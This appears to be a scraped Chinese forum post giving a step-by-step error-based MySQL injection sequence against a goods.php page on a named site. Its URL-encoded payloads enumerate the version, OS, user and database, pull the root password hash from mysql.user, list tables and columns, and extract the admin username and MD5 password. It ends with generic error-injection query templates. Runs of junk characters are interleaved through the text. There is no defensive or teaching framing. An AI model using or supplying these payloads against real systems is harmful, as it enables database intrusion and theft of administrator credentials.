判断版本号 ; H% s$ V% s& u6 O* p+ k
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
* I# Z4 j) b. i* y/ |# b
/ a8 h' |0 }& B; r$ Y判断系统
5 P( _: p$ Z G4 U5 ]: l5 ~( \ x* J* V* d0 l9 N6 L8 b5 X
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23, e2 q4 \$ }5 e; R
! W! B% V0 h4 }
# a8 s% ]' V& u' ^1 K! ?8 J5 Q: U+ X: j! K I6 ~
当前 user()% h5 ^% A, i' Q6 C! X1 X, V
( \( S: M7 U" S
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%232 _/ ?! j7 R& d' w' M# s& F) K
; m1 g h6 {& N, ^, r5 h1 V( d
3 I, e0 O7 Q+ s' F9 K( R
! x k4 y6 x. q. l o
当前 database()
# w7 _( @ i9 p f& m2 f2 jhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
9 \: o) ]7 J b q+ z8 y' e5 e1 V5 A6 G* I4 R# S
% ], u6 y+ ?$ z& M2 X( k" m
9 T% g1 ]% Z- ~0 X* C. h. z7 I
: M% J5 q. n t$ {8 Froot hash1 F+ o* j2 l7 J3 G$ _# H. Z
' C9 f/ |9 G& _& r7 h9 M. qhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
$ w" T6 O0 L, N! G% G% B$ A/ j4 R k, m
9 h3 U9 l! k6 ?$ R
2 q, v4 z4 X" ]8 }- ~$ D8 z+ W- x当前 数据库表名
) v8 ^3 q. U" B" b
1 [$ ~/ S4 f- V- p$ Whttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
0 d8 O, t; {4 `" g: u5 l7 p! ]: g9 A. v! ]" o- v* Y) V
" {! f0 H/ e! h, m
3 M) {0 G" ^" Z当前 数据库 user_name 字段
" r: Z o. V$ L
0 u; ^3 I) q/ f# @5 L$ N7 y3 c ~ r2 ghttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
! _3 R7 |) V' K3 ~4 x( g# O: ~
+ y) j3 h4 m9 b2 r4 | b/ @当前 数据库 字段 password" E+ n# M) x9 E3 c2 ]5 y" A
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23, X/ N5 w- D) R4 s% [ p
( A9 A/ J: j2 ~! w; \+ Z6 v5 Y. F4 I; V* e$ M
) S: A" Q# f: g获得 admin passwd(md5)
) h( X r! {% R6 V: P
5 K3 |7 [3 E2 |6 N
0 r9 @( w) Y% y! g, Q& @& \4 Hhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
% D% |7 a4 x. d9 Q K2 W& J+ Q$ V) V( R2 \! _7 Y* q0 W
报错注射1 z& K% A; z& }& o8 r
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
; [/ L2 j% y- I* o
: n# Q2 Q2 w1 r0 Z5 a6 OSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
+ o7 j8 ?# D# s: n
% N, k, Y) j# fand(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |